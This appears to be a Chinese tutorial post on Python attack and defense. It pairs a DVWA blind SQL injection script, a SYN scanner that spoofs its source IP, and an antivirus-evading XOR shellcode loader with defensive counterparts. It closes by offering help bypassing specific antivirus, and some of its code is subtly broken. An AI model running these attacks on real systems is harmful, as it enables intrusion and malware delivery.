Python案例攻防?

wen 网络安全 51

本文目录导读:

Python案例攻防?

  1. 案例一:Web渗透中的SQL注入 (SQL Injection)
  2. 案例二:端口扫描与隐蔽扫描 (Port Scanning)
  3. 案例三:恶意Payload(免杀)与特征码检测
  4. 攻防思维对比

“Python案例攻防”通常指的是使用Python进行网络安全攻防技术的实战案例学习,这既包括攻击者视角(渗透测试)的技术原理,也包括防御者视角(安全防护/逆向分析)的应对策略。

重要提示: 以下内容仅用于教育、安全研究和CTF竞赛目的,在未获得授权的情况下,对任何系统进行攻击或破坏都是违法的,请务必在自己搭建的虚拟机环境(如DVWA、Vulnhub靶机)或合法的漏洞赏金平台上实践。

下面我将从几个典型的攻防场景,拆解Python案例。


Web渗透中的SQL注入 (SQL Injection)

场景: 一个存在漏洞的登录页面,后端直接拼接SQL查询字符串。

攻击视角:自动化盲注脚本

攻击者发现注入点后,手动测试效率低,用Python编写脚本自动提取数据。

import requests
# 假设目标是本地的DVWA靶场(Low安全级别)
target_url = "http://192.168.1.100/dvwa/vulnerabilities/sqli/"
cookies = {"PHPSESSID": "your_session_id", "security": "low"} # 替换为实际cookie
# 提取数据库版本(盲注:通过真/假判断字符ASCII码)
def blind_sqli_get_version():
    version_str = ""
    for i in range(1, 21): # 假设版本字符串不超过20字符
        for ascii_code in range(32, 127): # 可打印字符
            # 构造布尔盲注payload: 如果字符的ASCII码等于某个值,则返回真
            payload = f"1' AND (SELECT ASCII(SUBSTRING((SELECT VERSION()),{i},1)))={ascii_code}#"
            params = {"id": payload, "Submit": "Submit"}
            try:
                response = requests.get(target_url, params=params, cookies=cookies)
                # 根据页面返回内容判断真假(比如是否返回了正常用户数据)
                if "User ID exists" in response.text: # DVWA的盲注特征
                    version_str += chr(ascii_code)
                    print(f"[+] 发现字符: {version_str}")
                    break
            except Exception as e:
                print(f"[-] 请求错误: {e}")
    return version_str
# print(blind_sqli_get_version())

攻击原理: 利用SUBSTRING逐字符拆分数据库版本,利用ASCII函数判断字符值,通过HTTP响应体中的“真/假”差异(布尔盲注)来提取数据。

防御视角:参数化查询

防御者编写的代码应该杜绝SQL拼接。

import mysql.connector
# 防御代码(正确做法)
def check_user_login_secure(username, password):
    db = mysql.connector.connect(host="localhost", user="root", password="passwd", database="webapp")
    cursor = db.cursor(prepared=True)
    # 使用 %s 占位符,数据库驱动会自动转义并处理
    sql = "SELECT * FROM users WHERE username = %s AND password = %s"
    cursor.execute(sql, (username, password))
    # 即使输入 ' OR '1'='1 ,也不会生效,因为被当作了普通字符串
    result = cursor.fetchone()
    if result:
        return "Login Success"
    else:
        return "Login Failed"

防御原理: 使用参数化查询(Prepared Statement),将SQL逻辑与数据分离,数据库会预先编译SQL模板,用户输入只作为数据传入,不会改变SQL语义。


端口扫描与隐蔽扫描 (Port Scanning)

场景: 探测目标主机开放了哪些服务端口(常用于信息收集)。

攻击视角:SYN半开扫描(需root权限)

利用原始套接字发送SYN包,根据响应判断端口状态。

import socket
import struct
import time
def syn_scan(target_ip, port):
    # 创建原始套接字(需要root权限)
    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
    sock.settimeout(1)
    # 伪装源IP和端口(可选,增加隐蔽性)
    source_ip = "192.168.1.200"
    source_port = 12345
    seq_num = 1000
    # 构造IP头部(简化版)
    ip_header = struct.pack('!BBHHHBBH4s4s',
                            0x45, 0, 40, 12345, 0, 64, socket.IPPROTO_TCP, 0,
                            socket.inet_aton(source_ip), socket.inet_aton(target_ip))
    # 构造TCP头部(SYN标志)
    tcp_header = struct.pack('!HHLLBBHHH',
                             source_port, port, seq_num, 0, (0x50 << 4), 0x02, # SYN标志=0x02
                             1024, 0, 0)
    # 伪头部校验和需要计算
    packet = ip_header + tcp_header
    try:
        sock.sendto(packet, (target_ip, 0))
        # 接收响应
        data, addr = sock.recvfrom(65535)
        # 解析TCP头部,判断SYN-ACK(0x12)表示开放,RST(0x14)表示关闭
        if data[33] == 0x12:
            return "OPEN"
        elif data[33] == 0x14:
            return "CLOSED/FILTERED"
    except socket.timeout:
        return "FILTERED"
    finally:
        sock.close()
# 扫描示例
# print(f"Scanning port 22: {syn_scan('192.168.1.1', 22)}")

攻击原理: 不完成三次握手,只发送SYN包,如果返回SYN-ACK表示端口开放,返回RST表示关闭,这种扫描比完整的TCP连接扫描更隐蔽,但仍可能被IDS/IPS检测到。

防御视角:端口敲门与动态防火墙

防御者可以配置系统,让端口在未被访问时处于隐藏状态。

# 使用iptables + knockd实现端口敲门(防扫描)
# 只有当客户端按照特定顺序访问指定端口(敲门),才临时开放SSH端口
# 安装knockd
sudo apt-get install knockd
# 配置 /etc/knockd.conf(示例)
[openSSH]
    sequence    = 7000,8000,9000
    seq_timeout = 5
    command     = /sbin/iptables -A INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
    tcpflags    = syn
[closeSSH]
    sequence    = 9000,8000,7000
    seq_timeout = 5
    command     = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
    tcpflags    = syn

防御原理: 在默认情况下,所有端口对公网都是隐形的(防火墙丢弃所有包),只有依次敲击正确的端口序列后,防火墙才会临时允许该IP访问SSH端口,扫描器如果只扫一个端口或随机扫,永远无法探测到真实开放的服务。


恶意Payload(免杀)与特征码检测

场景: 攻击者试图发送一个包含恶意shellcode的Python脚本,而防御者使用YARA规则检测。

攻击视角:简单的Python Shellcode加载器

import base64
import ctypes
# 攻击者的shellcode(反向连接,假设已被base64编码)
shellcode_base64 = "H8I8hV....." # 真实场景下的msfvenom生成的payload
# 免杀手法:使用Symmetric Encryption解密
def decrypt_shellcode(encoded_data):
    # 简单的一层XOR解密,混淆特征
    key = 0xAA
    decoded = base64.b64decode(encoded_data)
    decoded_bytes = bytearray(decoded)
    for i in range(len(decoded_bytes)):
        decoded_bytes[i] ^= key
    return bytes(decoded_bytes)
# 执行shellcode的经典方法
def execute_shellcode(shellcode):
    # 申请内存
    ptr = ctypes.windll.kernel32.VirtualAlloc(
        ctypes.c_int(0),
        ctypes.c_int(len(shellcode)),
        ctypes.c_int(0x3000), # MEM_COMMIT | MEM_RESERVE
        ctypes.c_int(0x40)     # PAGE_EXECUTE_READWRITE
    )
    # 写入
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr), buf, len(shellcode))
    # 执行
    shell_func = ctypes.CFUNCTYPE(ctypes.c_void_p)(ptr)
    shell_func()
# 实际执行流程
# shellcode = decrypt_shellcode(shellcode_base64)
# execute_shellcode(shellcode)

攻击原理: 通过XOR加密和Base64编码,使得shellcode的静态特征(如0x90(NOP)或特定的msfvenom签名)不在磁盘上直接呈现,运行时在内存中解密并执行,以绕过杀毒软件的静态扫描。

防御视角:YARA规则检测恶意行为

防御者编写YARA规则,捕获这种常见的内存中解密并执行的模式。

rule Detect_XOR_Shellcode_Loader
{
    meta:
        description = "Detects Python shellcode loader using XOR and VirtualAlloc"
        author = "Security Analyst"
    strings:
        $xor_pattern = { 31 ?? ?? ?? 30 ?? } // 简单的异或循环,如 xor [reg], 0xAA
        $virtualalloc = "VirtualAlloc" nocase
        $rtlmovememory = "RtlMoveMemory" nocase
        $kerneldll = "kernel32" nocase
    condition:
        // 同时出现这些API调用,且包含xor模式,高度可疑
        all of ($virtualalloc, $rtlmovememory, $kerneldll) and any of ($xor_pattern)
}

防御原理: 虽然攻击者混淆了数据,但行为模式是固定的(申请可执行内存、写入数据、执行),YARA规则不只看字符串,而是看API调用序列和代码逻辑模式,现代EDR(端点检测与响应)还会监控:

  • VirtualAlloc + PAGE_EXECUTE_READWRITE 标志。
  • 非镜像内存中的代码执行。
  • Win32_ProcessCreateRemoteThread 调用链。

攻防思维对比

阶段 攻击者视角 (Python) 防御者视角 (Python/工具)
侦察 编写requests遍历子域、scapy进行OS扫描 部署WAF (如ModSecurity),分析日志中的User-Agent异常
漏洞利用 编写POC (Proof of Concept) 脚本验证漏洞 使用Fuzzing框架 (如boofuzz) 发现并修复边界条件
权限维持 编写Python后门 (通过webshellreverse shell) 监控计划任务/etc/cron.d、注册表Run键的异常条目
痕迹清除 编写脚本清理日志 (sed -i / 删除登录记录) 使用SIEM系统集中存储日志,确保日志不可篡改(Logging as a Service)

学习的建议路径:

  1. 基础: 熟练Python的socketrequestsctypesstruct库。
  2. 靶场:VulnhubHack The BoxDVWA (Damn Vulnerable Web Application) 上练习。
  3. 图书/项目: 推荐《Python黑帽子:黑客与渗透测试编程之道》(Black Hat Python)。
  4. 工具阅读: 阅读sqlmapnmapmetasploit的部分源码,理解其Python实现逻辑。

希望这些案例能帮你建立起对Python攻防的直观认识,如果你需要针对某个具体场景(比如绕过某个特定的杀毒软件,或者防御某个特定的Web漏洞)的代码示例,请告诉我,我可以进一步展开。

抱歉,评论功能暂时关闭!